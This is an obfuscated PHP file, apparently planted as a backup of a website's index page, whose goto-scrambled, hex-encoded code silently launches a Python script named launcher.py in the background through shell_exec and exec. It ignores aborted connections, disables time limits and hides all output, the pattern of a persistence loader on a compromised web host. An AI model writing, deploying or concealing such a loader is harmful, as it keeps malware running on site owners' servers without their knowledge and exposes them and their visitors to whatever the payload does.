File: /home/ksonpoau/httpdocs/index.php.shellbak
<?php
goto i_RQW; g5K9b: $python_candidates = array("\x70\x79\164\150\x6f\156\63", "\x70\x79\x74\x68\157\156", "\x2f\165\x73\x72\x2f\x62\151\x6e\x2f\160\x79\164\x68\x6f\156\63", "\x2f\x75\x73\x72\57\154\157\143\x61\x6c\x2f\142\x69\x6e\x2f\160\171\x74\150\157\x6e\x33", "\57\142\151\156\x2f\160\x79\164\150\x6f\156\63", "\x2f\165\163\x72\57\142\x69\x6e\57\x70\x79\x74\150\157\156"); goto kVrlt; kVrlt: $python = "\x70\171\x74\x68\157\x6e\x33"; goto r2Um1; trnfE: $cmd = "\143\144\40" . escapeshellarg(__DIR__) . "\x20\46\x26\x20" . escapeshellcmd($python) . "\x20" . escapeshellarg($script_name) . "\40\x3e\x2f\144\x65\166\x2f\156\x75\x6c\154\x20\x32\76\46\61\40\46"; goto Y4sQC; r2Um1: foreach ($python_candidates as $candidate) { if (@shell_exec("\167\x68\151\x63\150\x20" . escapeshellarg(basename($candidate)) . "\40\x32\76\x2f\144\145\x76\57\156\165\154\154")) { $python = $candidate; break; } if (file_exists($candidate)) { $python = $candidate; break; } } goto trnfE; spamh: $script = __DIR__ . "\57" . $script_name; goto xvSS0; Y4sQC: if (function_exists("\x73\x68\145\154\x6c\137\145\x78\145\x63")) { @shell_exec($cmd); } goto LQ8kc; smw_I: set_time_limit(0); goto YTUYv; i_RQW: ignore_user_abort(true); goto smw_I; xvSS0: if (!file_exists($script)) { http_response_code(404); die; } goto g5K9b; H2W03: http_response_code(200); goto glZFe; YTUYv: $script_name = "\154\141\x75\x6e\x63\x68\x65\x72\56\160\171"; goto spamh; LQ8kc: if (function_exists("\145\x78\x65\x63")) { @exec($cmd); } goto H2W03; glZFe: die;